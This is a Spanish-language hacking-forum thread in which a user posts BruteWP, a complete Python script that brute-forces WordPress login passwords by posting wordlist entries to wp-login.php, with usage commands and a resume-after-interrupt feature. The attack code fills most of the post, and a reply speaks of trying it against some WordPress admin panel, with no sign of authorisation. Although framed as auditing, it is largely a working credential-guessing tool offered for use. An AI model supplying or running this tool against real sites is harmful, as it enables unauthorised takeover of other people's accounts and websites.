Wordpress Brute Force

Iniciado por ANTRAX, Agosto 25, 2015, 03:03:19 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.


Existe una herramienta muy buena para la auditoría de CMS WordPress, su nombre es Wpscan, esta herramienta permite realizar un análisis de vulnerabilidades para este tipo de gestor de contenidos. Además, esta herramienta permite realizar un ataque de fuerza bruta, el problema radica principalmente en que el ataque de fuerza bruta que hace esta herramienta entrega muchos falsos positivos, por esta razón se comprobó que no es muy fiable al momento de realizar este tipo de ataques.

Por esta razón se desarrolló una herramienta escrita en Python la cual se denominó BruteWP. Esta herramienta permite realizar un ataque de fuerza bruta de manera efectiva y para cualquier versión de WordPress

Forma de uso:

Código: bash
./BruteWP.py -h

./BruteWP.py -t [target] -u [user] -w [wordlist] -r [restaurar ataque]



Como se puede observar en la imagen anterior, este script requiere parámetros obligatorios como son, la URL ejemplo : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, el username (Para obtener el username se puede utilizar la herramienta Wpscan), y finalmente el diccionario.

El valor agregado que posee esta herramienta, es que si se desea pausar el escaneo, es posible reanudarlo en cualquier momento con la opción -r, esto es muy útil, ya que así se podrá continuar con la auditoría sin ningún problema.

Código: python
#!/usr/bin/python
#-*- coding:UTF-8 -*-
import argparse
import httplib
import urllib
import socket
import time

def attack(target,user,wordlist, restore = None):
    i= target.find("/")
    site = target[:i]
    post = target[i:]
    iteracion = open('iteracion.txt','a+')
    wordlist = open(wordlist, 'r+')
    it = iteracion.readlines()
    if len(it) == 0:
        iteracion.write("1\n")
        iteracion.close()
        iteracion = open('iteracion.txt','r+')
        it = iteracion.readlines()
    it2= int(str(it[len(it)-1]).strip())
    aux = wordlist.readlines()
    test = aux[it2-1:]
    cont = it2
    if restore:
print "Restaurando ataque...\n"
    else:
        test = aux
        cont=1
        iteracion = open('iteracion.txt','w+')
    for password in test:
        try:
            cabeceras = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
            parametros = urllib.urlencode({'log': user,'pwd':password.strip()})
            abrir_conexion = httplib.HTTPConnection(site)
            abrir_conexion.request("POST", post, parametros, cabeceras)
            respuesta = abrir_conexion.getresponse()
            if respuesta.status == 302 or respuesta.status == 303:
                print '%d- Password: %s FOUND!!!' %(cont,password.strip())
                break
            elif respuesta.status == 200:
                print '%d- Password: %s Not found!!!' %(cont,password.strip())
            else:
                print 'ERROR!!!!'
            cont+=1
            abrir_conexion.close()
        except KeyboardInterrupt:
            print '\n[*]Ejecución terminada por el teclado[*]'
            print '[*]Status saved![*]'
            iteracion.write(str(cont)+"\n")
            break
        except (socket.gaierror, socket.error,httplib.BadStatusLine):
            print '[*]Status saved![*]'
            iteracion.write(str(cont)+'\n')
            time.sleep(5)
            continue


def conexion():
    parser = argparse.ArgumentParser(usage="./BruteWP.py -t [target] -u [user] -w [wordlist]")
    parser.add_argument("-t", help="Target a atacar. ejemplo: www.sitewordpress/wp-login.php")
    parser.add_argument("-u", help="Nombre de usuario de WordPress")
    parser.add_argument("-w", help="Diccionario para realizar el ataque")
    parser.add_argument("-r", action="store_true", help="Restaura la última sesión del ataque")
    args = parser.parse_args()
   
    print """
____             _     __        ______ 
| __ ) _ __ _   _| |_ __\ \      / /  _ \
|  _ \| '__| | | | __/ _ \ \ /\ / /| |_) |
| |_) | |  | |_| | ||  __/\ V  V / |  __/
|____/|_|   \__,_|\__\___| \_/\_/  |_|   
                                        v 1.1 @Samuel.E
    """
    if args.u != None and args.w != None and args.t != None and args.r:
        attack(args.t,args.u,args.w, True)
    elif args.u != None and args.w != None and args.t != None:
        attack(args.t,args.u,args.w)
    else:
        parser.print_help()
   


if __name__ == '__main__':
    conexion()


Repo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos!
ANTRAX


Interesante !!

Muchas gracias @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta !
Nivel 77 No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

En el caso de la pausa por primera vez, como se realiza? para que pueda ser restaurado sin problemas [se me ocurre Ctrl + c]


Saludos!

Muy interesante esta Herramienta  :)

Pedazo de tool, será un placer probarla contra algún panel de administración de WordPress.  Muy grande, @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta